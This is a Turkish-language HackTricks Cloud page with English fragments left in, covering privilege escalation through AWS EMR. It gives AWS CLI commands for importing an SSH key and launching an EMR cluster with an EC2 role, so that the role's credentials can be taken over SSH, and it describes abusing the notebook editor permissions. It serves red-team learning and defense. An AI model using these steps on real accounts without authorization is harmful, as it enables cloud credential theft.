AWS - EMR Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
EMR
Daha fazla info about EMR için:
iam:PassRole, elasticmapreduce:RunJobFlow
Bu izinlere sahip bir saldırgan, run a new EMR cluster attaching EC2 roles yaparak kimlik bilgilerini çalmayı deneyebilir.
Bu işlemi gerçekleştirmek için hesabınızda import edilmiş bazı anahtarları know some ssh priv key imported in the account bilmeniz ya da bir tane import etmeniz ve master node’da open port 22 in the master node yapabilmeniz gerekir (bunu --ec2-attributes içindeki EmrManagedMasterSecurityGroup ve/veya ServiceAccessSecurityGroup öznitelikleriyle yapabilirsiniz).
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key
aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
Note edin: EMR role’ün --service-role içinde ve ec2 role’ün InstanceProfile içindeki --ec2-attributes içinde belirtildiğine dikkat edin. Ancak bu teknik yalnızca EC2 role kimlik bilgilerini çalmaya izin verir (çünkü ssh ile bağlanacaksınız), EMR IAM Role’ünü çalmaz.
Potential Impact: Belirtilen EC2 service role’a privesc
elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole
Bu izinlerle bir saldırgan AWS console’a gidip bir Notebook oluşturabilir ve ona erişerek IAM Role’u çalabilir.
Caution
Testlerimde notebook instance’ına bir IAM role iliştirmiş olsam bile, AWS managed credentials’leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim.
Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc
elasticmapreduce:OpenEditorInConsole
Sadece bu izin ile bir saldırgan Jupyter Notebook’a erişip ona bağlı IAM role’u çalabilir.
Notebook’un URL’si https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/
Caution
Testlerimde notebook instance’ına bir IAM role iliştirmiş olsam bile, AWS managed credentials’leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim.
Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

